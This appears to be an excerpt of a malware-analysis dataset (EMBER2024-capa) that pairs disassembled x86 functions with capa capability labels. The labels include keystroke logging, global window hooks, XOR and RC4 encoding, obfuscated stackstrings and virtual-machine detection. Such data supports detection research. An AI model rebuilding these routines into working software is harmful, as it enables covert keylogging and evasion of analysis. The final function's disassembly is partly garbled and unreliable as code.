joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44a5e4
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44a789
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x40fd60]
call fcn.00402f24
mov edx, dword [ebp - 4]
mov dword [edx + 0x28], eax
mov eax, dword [ebp - 4]
add eax, 0x2c
call fcn.00403bcc
push 0
call sub.user32.dll_GetKeyboardLayout
mov edx, dword [ebp - 4]
mov dword [edx + 0x30], eax
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44a75f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00439dc8
test al, al
je 0x44a752
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44a798
lea eax, [ebp - 0x254]
call fcn.0040997c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44a752
xor eax, eax
push ebp
push 0x44a74b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44a7d0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44a734
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403df8
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov ebx, dword [eax]
call dword [ebx + 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x30]
jne 0x44a734
mov eax, dword [ebp - 4]
add eax, 0x2c
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403df8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44a752
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x44a655
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov byte [eax + 0x19], 0
mov dl, 1
call fcn.0041387c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44a790
lea eax, [ebp - 0x260]
call fcn.00403bcc
ret

Function at 0x44af2c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4a37ac]
cmp byte [eax + 0x8d], 0
jne 0x44af9d
cmp dword [0x4a37ec], 0
jne 0x44af5e
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44aee8
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4a37ec], eax
cmp dword [0x4a37e8], 0
jne 0x44af79
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4a37e8], eax
cmp dword [0x4a37f0], 0
jne 0x44af9d
push esp
push 0
push 0
push 0x44ae8c
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x4a37f0], eax
pop edx
ret
Function at 0x458a60
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x204], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x458c42
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 1
jl 0x458aaa
lea edx, [ebp - 0x204]
mov eax, esi
call fcn.00458530
mov eax, dword [ebp - 0x204]
mov edx, ebx
call fcn.0040c8b0
cmp al, 1
jne 0x458aaa
dec ebx
mov edi, ebx
mov eax, esi
call fcn.00458844
test al, al
je 0x458be2
test edi, edi
jge 0x458ac1
xor edi, edi
lea ebx, [edi + 1]
lea edx, [ebp - 0x204]
mov eax, esi
call fcn.00458530
mov eax, dword [ebp - 0x204]
call fcn.00403e48
cmp ebx, eax
jge 0x458b08
lea edx, [ebp - 0x204]
mov eax, esi
call fcn.00458530
mov eax, dword [ebp - 0x204]
mov al, byte [eax + ebx - 1]
mov edx, dword [0x4a2214]
and eax, 0xff
bt dword [edx], eax
jae 0x458b08
inc ebx
mov eax, dword [esi + 0x20c]
cmp edi, eax
jl 0x458b16
mov edi, eax
mov ebx, edi
mov ecx, ebx
mov edx, ebx
mov eax, esi
call fcn.00458a3c
cmp ebx, edi
je 0x458bda
lea eax, [ebp - 0x100]
push eax
call sub.user32.dll_GetKeyboardState
mov edx, pe_nt_image_headers32
lea eax, [ebp - 0x200]
mov byte [eax], 0
inc eax
dec edx
jne 0x458b40
mov byte [ebp - 0x1f0], 0x81
mov eax, esi
mov bx, 0xffcf
call fcn.00403130
and eax, 0x7f
movzx eax, word [eax*2 + 0x4a0bf8]
mov byte [ebp + eax - 0x200], 0x81
lea eax, [ebp - 0x200]
push eax
call sub.user32.dll_SetKeyboardState
push 1
mov eax, esi
mov bx, 0xffcf
call fcn.00403130
and eax, 0x7f
movzx eax, word [eax*2 + 0x4a0bf8]
push eax
push pe_nt_image_headers32
mov eax, esi
call fcn.004356e0
push eax
call sub.user32.dll_SendMessageA
push 1
mov eax, esi
mov bx, 0xffcf
call fcn.00403130
and eax, 0x7f
movzx eax, word [eax*2 + 0x4a0bf8]
push eax
push 0x101
mov eax, esi
call fcn.004356e0
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x100]
push eax
call sub.user32.dll_SetKeyboardState
mov dword [esi + 0x214], edi
jmp 0x458c29
test edi, edi
jge 0x458be8
xor edi, edi
lea edx, [ebp - 0x204]
mov eax, esi
call fcn.00458530
mov eax, dword [ebp - 0x204]
call fcn.00403e48
cmp edi, eax
jl 0x458c1e
lea edx, [ebp - 0x204]
mov eax, esi
call fcn.00458530
mov eax, dword [ebp - 0x204]
call fcn.00403e48
mov edi, eax
mov ecx, edi
mov edx, edi
mov eax, esi
call fcn.00458a3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x458c49
lea eax, [ebp - 0x204]
call fcn.00403bcc
ret
Function at 0x401140
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x2080
xor esi, esi
lea ecx, [ecx]
inc esi
mov eax, 0x66666667
imul esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*4]
add ecx, ecx
mov eax, esi
sub eax, ecx
jne 0x40116e
inc esi
cmp esi, 0x12aa
jl 0x401150
xor esi, esi
mov ebx, 0x707d
lea ecx, [ecx]
mov eax, 0x288df0cb
imul ebx
sar edx, 4
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x401180
mov eax, dword [ebp + 8]
mov ebx, 0x6dd2
test eax, eax
je 0x401300
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x401300
cmp eax, ecx
jae 0x401300
mov esi, 0x69db
jmp 0x4011c0
mov eax, 0x4fec04ff
imul esi
sar edx, 6
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x4011c0
xor ebx, ebx
inc ebx
mov eax, 0x66666667
imul ebx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*4]
add ecx, ecx
mov eax, ebx
sub eax, ecx
jne 0x4011f3
inc ebx
cmp ebx, 0x1f43
jl 0x4011d5
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
sub edi, ebx
mov ecx, 0x2d42
jmp 0x401210
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x401210
mov eax, 0x4b0e
lea ebx, [ebx]
dec eax
jne 0x401230
xor ecx, ecx
test edi, edi
je 0x40124e
lea esp, [esp]
mov al, byte [ecx + ebx + 1]
sub al, 0x30
xor byte [ecx + ebx], al
inc ecx
cmp ecx, edi
jb 0x401240
mov ecx, 0x7e0a
mov eax, 0xad602b59
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x401253
mov ecx, 0x5d0f
lea ecx, [ecx]
mov eax, 0xa57eb503
imul ecx
add edx, ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x401270
inc esi
mov eax, esi
and eax, 0x80000003
jns 0x401294
dec eax
or eax, 0xfffffffc
inc eax
jne 0x401298
add esi, esi
cmp esi, 0x7178
jl 0x401285
mov ecx, 0x238f
mov edx, 0x1d
mov eax, 0x4e
nop
cmp eax, 0x1d
cmovg eax, edx
dec ecx
jne 0x4012b0
mov ecx, 0x306b
mov edx, 0xa9
mov eax, 0xd6
jmp 0x4012d0
cmp eax, 0xa9
cmovg eax, edx
dec ecx
jne 0x4012d0
mov ecx, 0x7562
mov edx, 0x86
mov eax, 0x6f
lea ebx, [ebx]
cmp eax, 0x86
cmovg eax, edx
dec ecx
jne 0x4012f0
pop edi
pop esi
pop ebx
pop ebp
ret
mov eax, 0x22b63cbf
imul ebx
sar edx, 4
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x401300
mov eax, 0x6bca1af3
imul edi
sar edx, 4
mov edi, edx
shr edi, 0x1f
add edi, edx
jne 0x401313
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x403420
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
jbe 0x40347d
mov eax, dword [ebp + 8]
push ebx
push esi
mov ecx, dword [ebp + 0xc]
inc edi
mov bh, byte [edi + ecx - 1]
inc byte [eax]
movzx esi, byte [eax]
movzx edx, byte [esi + eax + 2]
movzx ecx, byte [eax + 1]
add esi, eax
add ecx, edx
movzx edx, cl
mov byte [eax + 1], cl
movzx ecx, byte [edx + eax + 2]
mov bl, byte [esi + 2]
mov byte [esi + 2], cl
mov byte [edx + eax + 2], bl
movzx ecx, byte [esi + 2]
mov edx, dword [ebp + 0xc]
add cl, bl
movzx ecx, cl
movzx ecx, byte [ecx + eax + 2]
xor cl, bh
mov byte [edi + edx - 1], cl
cmp edi, dword [ebp + 0x10]
jb 0x403430
pop esi
pop ebx
pop edi
pop ebp
ret
Function at 0x404543
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov eax, 0x5d7a7f06
mov dword [ebp - 0x20], 0xf8ddc94
xor dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 0x1dad157c
xor dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0xde47b5c9
xor dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0x12d1cbee
xor dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0xd0ebdc6a
xor dword [ebp - 0x10], eax
xor eax, eax
lea ebx, [ebx]
xor byte [ebp + eax - 0x20], 0xe5
inc eax
cmp eax, 0x14
jb 0x404593
mov ecx, dword [ebp + 8]
push 0x14
lea eax, [ebp - 0x20]
push eax
push ecx
call fcn.0042bc83
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x4045c3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov eax, 0x35b1e838
mov dword [ebp - 0x20], 0x9365585b
xor dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 0x22a25d1e
xor dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0xab83869a
xor dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0xdea821a
xor dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x7223408b
xor dword [ebp - 0x10], eax
xor eax, eax
lea ebx, [ebx]
xor byte [ebp + eax - 0x20], 0x69
inc eax
cmp eax, 0x14
jb 0x404613
mov ecx, dword [ebp + 8]
push 0x14
lea eax, [ebp - 0x20]
push eax
push ecx
call fcn.0042bc83
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x4047c3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov eax, 0x75eb4d58
mov dword [ebp - 0x20], 0xd78f349a
xor dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 0xb5965e22
xor dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0xd5679516
xor dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0xc6df79e3
xor dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0xe7855dd4
xor dword [ebp - 0x10], eax
xor eax, eax
lea ebx, [ebx]
xor byte [ebp + eax - 0x20], 0xbc
inc eax
cmp eax, 0x14
jb 0x404813
mov ecx, dword [ebp + 8]
push 0x14
lea eax, [ebp - 0x20]
push eax
push ecx
call fcn.0042bc83
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x404933
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
xor eax, eax
lea ecx, [ebp - 0x18]
push ecx
mov byte [ebp - 0x18], 0
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
call fcn.00404543
mov cl, byte [ebp + 0xc]
add esp, 4
xor eax, eax
xor byte [ebp + eax - 0x18], cl
inc eax
cmp eax, 0x14
jb 0x404965
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp + 8]
push 4
push eax
call fcn.004180b3
mov eax, dword [ebp + 8]
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x404993
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
xor eax, eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 0x18], 0
call fcn.004045c3
mov cl, byte [ebp + 0xc]
add esp, 4
xor eax, eax
lea esp, [esp]
xor byte [ebp + eax - 0x18], cl
inc eax
cmp eax, 0x14
jb 0x4049c3
movzx edx, byte [ebp + 0x10]
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x18]
push ecx
push edx
push eax
call fcn.004180b3
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x40ef03
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
sub esp, 0x18
mov eax, edx
push ebx
mov ebx, dword [ebp + 0xc]
shr eax, 4
push esi
mov ecx, ebx
test eax, eax
je 0x40ef75
add ebx, 8
mov dword [ebp - 4], eax
nop
mov eax, dword [ecx]
xor dword [edi], eax
mov edx, dword [ebx - 4]
xor dword [edi + 4], edx
mov edx, dword [ebx]
xor dword [edi + 8], edx
mov edx, dword [ebx + 4]
xor dword [edi + 0xc], edx
add ecx, 0x10
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 8]
push edi
lea esi, [ebp - 0x18]
add ebx, 0x10
call fcn.0040ee73
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [edi], eax
mov eax, dword [ebp - 0xc]
mov dword [edi + 4], ecx
mov ecx, dword [ebp - 8]
add esp, 4
dec dword [ebp - 4]
mov dword [edi + 8], edx
mov dword [edi + 0xc], eax
jne 0x40ef23
mov edx, dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
lea eax, [ebx + edx]
cmp eax, ecx
jbe 0x40efe8
sub ebx, ecx
add ebx, edx
test ebx, ebx
jle 0x40ef92
push ebx
push ecx
lea ecx, [ebp - 0x18]
push ecx
call fcn.0042bcd3
add esp, 0xc
mov eax, 0x10
sub eax, ebx
lea ecx, [ebp + ebx - 0x18]
je 0x40efab
push eax
push 0
push ecx
call fcn.0042bd03
add esp, 0xc
mov edx, dword [ebp - 0x18]
xor dword [edi], edx
mov ecx, dword [ebp - 0x14]
xor dword [edi + 4], ecx
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
xor dword [edi + 8], edx
xor dword [edi + 0xc], ecx
mov ecx, dword [ebp + 8]
push edi
lea esi, [ebp - 0x18]
call fcn.0040ee73
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov dword [edi], edx
mov edx, dword [ebp - 0xc]
mov dword [edi + 4], eax
mov dword [edi + 8], ecx
add esp, 4
mov dword [edi + 0xc], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40eff3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 0x18]
push edi
mov edi, ecx
test eax, eax
je 0x40f0f5
push esi
mov esi, dword [edx]
mov dword [ebp - 0x14], esi
mov esi, dword [edx + 4]
mov dword [ebp - 0x10], esi
mov esi, dword [edx + 8]
mov edx, dword [edx + 0xc]
shr eax, 4
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], edx
test eax, eax
je 0x40f0bc
mov edx, ebx
sub ecx, edx
lea esi, [edx + 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp + 0x18], eax
jmp 0x40f043
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ebx
lea eax, [ebp - 0x14]
push eax
push ecx
push edx
call fcn.00411303
mov eax, dword [edi]
xor dword [ebx], eax
mov ecx, dword [edi + 4]
xor dword [esi - 8], ecx
mov edx, dword [edi + 8]
xor dword [esi - 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + esi]
xor dword [esi], ecx
movzx eax, byte [ebp - 8]
movzx edx, byte [ebp - 7]
movzx ecx, byte [ebp - 6]
shl eax, 8
or eax, edx
movzx edx, byte [ebp - 5]
shl eax, 8
or eax, ecx
shl eax, 8
or eax, edx
inc eax
mov ecx, eax
shr ecx, 0x18
mov byte [ebp - 8], cl
mov edx, eax
mov ecx, eax
shr edx, 0x10
shr ecx, 8
add esp, 0x10
add edi, 0x10
add ebx, 0x10
add esi, 0x10
dec dword [ebp + 0x18]
mov byte [ebp - 7], dl
mov byte [ebp - 6], cl
mov byte [ebp - 5], al
jne 0x40f043
mov ecx, dword [ebp + 0x10]
sub ecx, edi
add ecx, dword [ebp + 0x14]
mov esi, ecx
je 0x40f0f4
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 0x24]
push edx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push ecx
push edx
call fcn.00411303
add esp, 0x10
xor eax, eax
test esi, esi
je 0x40f0f4
sub ebx, edi
mov cl, byte [ebp + eax - 0x24]
xor cl, byte [edi]
inc eax
mov byte [ebx + edi], cl
inc edi
cmp eax, esi
jb 0x40f0e5
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x412bc3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
push ebx
push esi
xor eax, eax
push edi
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x256]
push edx
mov word [ebp - 0x50], ax
mov dword [ebp - 0x4e], eax
mov dword [ebp - 0x4a], eax
mov dword [ebp - 0x46], eax
mov dword [ebp - 0x42], eax
mov dword [ebp - 0x3e], eax
mov dword [ebp - 0x3a], eax
mov dword [ebp - 0x36], eax
mov word [ebp - 0x32], ax
mov word [ebp - 0x258], cx
call fcn.0042bd03
mov edi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 5], eax
mov byte [ebp - 1], al
lea eax, [ebp - 0x10]
push eax
lea esi, [edi + 0x8fc]
push esi
mov dword [ebp - 0x10], 0x6d6c7275
mov dword [ebp - 0xc], 0x642e6e6f
mov word [ebp - 8], 0x6c6c
mov byte [ebp - 6], 0
call fcn.004181b3
push 0xc58625d6
mov ebx, eax
call fcn.004048a3
push eax
push 0
push 0
push ebx
push esi
call fcn.00424d03
add esp, 0x2c
test eax, eax
jne 0x412c64
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp + 0xc]
push esi
call fcn.0042be83
add esp, 4
mov ecx, 1
lea edx, [eax + esi - 1]
cmp byte [edx], 0x2e
je 0x412c87
inc ecx
dec edx
cmp ecx, 0xe
jb 0x412c79
jmp 0x412c98
sub eax, ecx
add eax, esi
push eax
lea ecx, [ebp - 0x50]
push ecx
call fcn.0042c363
add esp, 8
lea edx, [ebp - 0x258]
push edx
lea eax, [ebp - 0x50]
push eax
push edi
call fcn.004117c3
add esp, 0xc
test al, al
je 0x412c5b
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x45e]
push edx
mov word [ebp - 0x460], cx
call fcn.0042bd03
lea eax, [ebp - 0x460]
push esi
push eax
call fcn.0042c363
lea ecx, [ebp - 0x258]
push ecx
lea edx, [ebp - 0x460]
push edx
push edi
call fcn.00426853
add esp, 0x20
test eax, eax
je 0x412c5b
xor eax, eax
push 8
lea edx, [ebp - 0x50]
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov word [ebp - 0x12], ax
push edx
lea eax, [ebp - 0x30]
xor ecx, ecx
push eax
mov dword [ebp - 0x30], 0x70002e
mov dword [ebp - 0x2c], 0x310073
mov word [ebp - 0x28], cx
call fcn.0042bec3
mov ecx, dword [ebp + 0x10]
add esp, 0xc
cmp ecx, 0x31
jne 0x412d54
push eax
lea ecx, [ebp - 0x258]
push ecx
push edi
call fcn.00412a73
add esp, 0xc
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
cmp ecx, 0x32
jne 0x412d96
push 0
push 1
lea edx, [ebp - 0x258]
push edx
push edi
call fcn.00427f33
push 0
mov esi, eax
push 0x15
lea eax, [ebp - 0x258]
push eax
push edi
call fcn.00427f33
push eax
push esi
push edi
call fcn.00428c03
add esp, 0x2c
test esi, esi
je 0x412d96
push esi
push edi
call fcn.0042bc63
add esp, 8
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x413e33
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a0
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 8]
push ebx
xor ebx, ebx
push esi
push 0x1fe
lea eax, [ebp - 0x29e]
xor edx, edx
push ebx
push eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x5c], 0x18
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], ebx
mov word [ebp - 0x2a0], dx
call fcn.0042bd03
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0x5c]
push edx
push 0x401
lea eax, [ebp + 0xc]
push eax
push esi
call fcn.00429123
add esp, 0x20
test eax, eax
js 0x413fa9
push edi
push 0xe7d7ec35
mov dword [ebp - 0x2c], 0x65005c
mov dword [ebp - 0x28], 0x700078
mov dword [ebp - 0x24], 0x6f006c
mov dword [ebp - 0x20], 0x650072
mov dword [ebp - 0x1c], 0x2e0072
mov dword [ebp - 0x18], 0x780065
mov dword [ebp - 0x14], 0x65
lea edi, [esi + 0x8fc]
call fcn.004048a3
push eax
mov eax, dword [esi + 0x4e0]
push ebx
push ebx
push eax
push edi
call fcn.00424d03
add esp, 0x18
cmp eax, ebx
je 0x413f02
mov ecx, dword [ebp + 0xc]
push ebx
push ecx
call eax
push 0x40
lea edx, [ebp - 0x9c]
push ebx
push edx
call fcn.0042bd03
lea ecx, [ebp - 0x2a0]
push ecx
xor eax, eax
lea edx, [ebp - 0x10]
push edx
push esi
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0xa0], 0x44
mov dword [ebp - 0x10], 0x690077
mov dword [ebp - 0xc], 0x64006e
mov dword [ebp - 8], 0x720069
mov word [ebp - 4], ax
call fcn.004183d3
push ebx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x2a0]
push ecx
call fcn.0042c013
push 0x860a77ed
call fcn.004048a3
mov edx, dword [esi + 0x4e0]
push eax
push ebx
push ebx
push edx
push edi
call fcn.00424d03
add esp, 0x3c
pop edi
cmp eax, ebx
je 0x413fa9
push ebx
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 0xa0]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x2a0]
push ecx
push ebx
call eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x413fb3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x3c
push eax
call fcn.0042bea3
add esp, 4
cmp eax, 0x1000
ja 0x414133
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [esi + 0x490]
test edi, edi
je 0x414131
mov ecx, dword [ebp + 0xc]
push ebx
lea ebx, [eax + eax]
push ebx
add edi, 0xac14
push edi
push ecx
call fcn.0042bec3
add esp, 0xc
test eax, eax
jne 0x414130
push 0x400
push edi
call fcn.0042bcb3
mov edx, dword [ebp + 0xc]
push ebx
push edx
push edi
call fcn.0042bc83
add esp, 0x14
xor ecx, ecx
xor eax, eax
push 0x104
mov word [ebp - 4], cx
mov ecx, dword [esi + 0x22c8]
lea ebx, [esi + 0x3710]
push ebx
mov dword [ebp - 0xc], 0xa000d
mov dword [ebp - 8], 0xa000d
mov dword [ebp - 0x3c], 0x6c0043
mov dword [ebp - 0x38], 0x700069
mov dword [ebp - 0x34], 0x6f0062
mov dword [ebp - 0x30], 0x720061
mov dword [ebp - 0x2c], 0x64
mov word [ebp - 0x28], ax
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], eax
mov word [ebp - 0x1e], ax
call ecx
mov edx, dword [esi + 0x2308]
push eax
call edx
cmp eax, 0x40
jbe 0x414090
xor eax, eax
mov word [esi + 0x3790], ax
jmp 0x4140bf
test eax, eax
jne 0x4140bf
push 0x10
lea eax, [ebp - 0x1c]
push eax
push ebx
mov dword [ebp - 0x1c], 0x6e0055
mov dword [ebp - 0x18], 0x6e006b
mov dword [ebp - 0x14], 0x77006f
mov dword [ebp - 0x10], 0x6e
call fcn.0042bc83
add esp, 0xc
push 0x14
lea ecx, [ebp - 0x3c]
push ecx
lea edi, [esi + 0x4b74]
push edi
call fcn.0042bc83
push 0
lea edx, [ebp - 0xc]
push edx
push edi
call fcn.0042c013
push 0
push ebx
push edi
call fcn.0042c013
push 0
lea eax, [ebp - 0xc]
push eax
push edi
call fcn.0042c013
mov ecx, dword [ebp + 0xc]
push 0
push ecx
push edi
call fcn.0042c013
push edi
call fcn.0042bea3
add esp, 0x40
add eax, eax
push edi
mov dword [esi + 0x624], eax
call fcn.0042bea3
mov edx, dword [esi + 0x654]
add eax, eax
push eax
push edi
push edx
call fcn.0042bc83
push 0x13
push esi
call fcn.0041af63
add esp, 0x18
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x414c33
Capabilities:
Check for vm using instruction vpcext

Disassembly:
clc
invalid
adc byte [edi + 0x5e], bl
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x368
push esi
push edi
shr byte [edi + 0x74], 1
lodsb al, byte [esi]
pop edx
mov ebp, 0x7cd1327f
and ah, byte [ecx - 0x7f]
mov esp, 0x8d0fa9d8
and al, 0x91
mov ebp, 0x260c526
jl 0x414ca3
push ebx
jb 0x414bdc
mov bh, 0xec
and ecx, dword [eax + 0x5e]
xor dl, cl
aas
sub bh, al
push eax
out 0xbb, al
rcl esi, cl
mov ch, 0x7e
sbb al, 0xdc
adc edx, dword [esi]
dec ebp
mov ecx, 0x2d94eef0
push ss
add al, 0xa1
mov esi, fs
xchg esp, eax
adc edx, dword [ebx]
lodsd eax, dword [esi]
mov ebx, 0x7ae34b4d
cmpsb byte [esi], byte es:[edi]
leave
stc
xchg esp, eax
sbb dword [esp + ebp*8 + 0x67], ecx
jmp 0x414c1f
xor eax, 0x2a8b73fc
invalid